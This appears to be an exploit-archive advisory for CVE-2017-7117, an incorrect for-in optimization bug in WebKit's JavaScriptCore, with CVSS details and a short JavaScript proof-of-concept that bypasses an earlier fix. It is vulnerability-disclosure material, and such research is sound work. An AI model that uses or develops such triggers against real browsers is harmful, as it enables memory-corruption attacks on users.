WebKit JSC Incorrect Optimization

2017.10.04

Credit: lokihardt

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2017-7117

CWE: CWE-119

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

WebKit: JSC: Incorrect for-in optimization #2

CVE-2017-7117

The following PoC bypasses the fix for the https://bugs.chromium.org/p/project-zero/issues/detail?id=1263 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal

PoC:
function f() {
    let o = {};
    for (let i in {xx: 0}) {
        for (i of [0]) {

        }

        print(o[i]);
    }
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1263

See this note in RAW Version

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WebKit JSC Incorrect Optimization

References:

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